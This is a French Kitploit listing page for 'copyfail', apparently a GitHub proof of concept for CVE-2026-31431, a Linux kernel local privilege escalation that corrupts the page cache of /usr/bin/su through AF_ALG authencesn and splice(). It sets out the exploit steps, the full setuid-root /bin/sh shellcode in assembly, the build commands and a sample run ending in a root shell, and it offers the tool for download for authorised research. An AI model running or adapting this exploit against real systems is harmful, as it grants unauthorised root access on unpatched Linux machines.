Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
copyfail — CVE-2026-31431 (Copy Fail) PoC - Corruption du cache de pages du noyau Linux via authencesn AF_ALG + splice() | Kitploit
Outils/GitHubGitHub/smarttfoxx/copyfail
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationDéveloppement de Charges UtilesExploitation de Binaires
GitHubsmarttfoxx/copyfail

copyfail

CVE-2026-31431 (Copy Fail) PoC - Corruption du cache de pages du noyau Linux via authencesn AF_ALG + splice()

Voir le dépôt
207il y a 3 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Copy Fail - PoC CVE-2026-31431 en C

Exploit d'élévation de privilèges locale pour CVE-2026-31431 (Copy Fail), écrit en C.

Fonctionnement

  1. Analyse ELF : résout l'adresse virtuelle du point d'entrée de /usr/bin/su vers un décalage de fichier via les en-têtes de programme PT_LOAD
  2. Configuration AF_ALG : se lie à authesn(hmac(sha256),cbc(aes)) avec une clé nulle
  3. Écritures de 4 octets dans le cache de pages : pour chaque bloc de la charge utile du shellcode :
    • sendmsg() envoie l'AAD avec les octets du shellcode comme seqno_lo (octets 4-7), avec MSG_MORE
    • splice() délivre 32 octets des pages du cache de pages du fichier cible comme étiquette d'authentification AEAD
    • recv() déclenche le déchiffrement, l'écriture temporaire de authencsn atterrit dans les pages chaînées du cache de pages, écrivant 4 octets contrôlés.
  4. Élévation de privilèges : execl("/usr/bin/su") charge le cache de pages corrompu. Le shellcode de 40 octets (setuid(0) + execve("/bin/sh")) s'exécute avec les droits setuid-root

Shellcode

root@kitploit:~
xor    edi, edi            ; uid = 0
mov    eax, 105            ; sys_setuid
syscall
xor    edx, edx            ; envp = NULL
push   rdx                 ; terminateur nul
movabs rax, "/bin/sh"      ; "/bin/sh\0"
push   rax
mov    rdi, rsp            ; nom de fichier
push   rdx                 ; NULL (argv[1])
push   rdi                 ; argv[0]
mov    rsi, rsp            ; argv
mov    eax, 59             ; sys_execve
syscall

Compilation

Nécessite musl-gcc ou tout compilateur C avec prise en charge de la liaison statique :

root@kitploit:~
musl-gcc -static -O2 -s -o copyfail exploit.c

Alternative avec GCC + glibc :

root@kitploit:~
gcc -static -O2 -s -o copyfail exploit.c

Utilisation

root@kitploit:~
$ ./copyfail
[*] PoC CVE-2026-31431 (Copy Fail)
[*] Entrée de /usr/bin/su @ décalage de fichier 0x78
[*] Correction du cache de pages (40 octets, 10 écritures)
..........
[+] Exécution de /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)

Références

  • Copy Fail : 732 octets pour devenir root sur toutes les principales distributions Linux
  • Commit de correction a664bf3d
  • Introduit par le commit 72548b093ee3 (2017)

Avertissement

Cette preuve de concept est fournie uniquement à des fins de recherche en sécurité autorisée et à des fins éducatives. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale.

Télécharger l’outil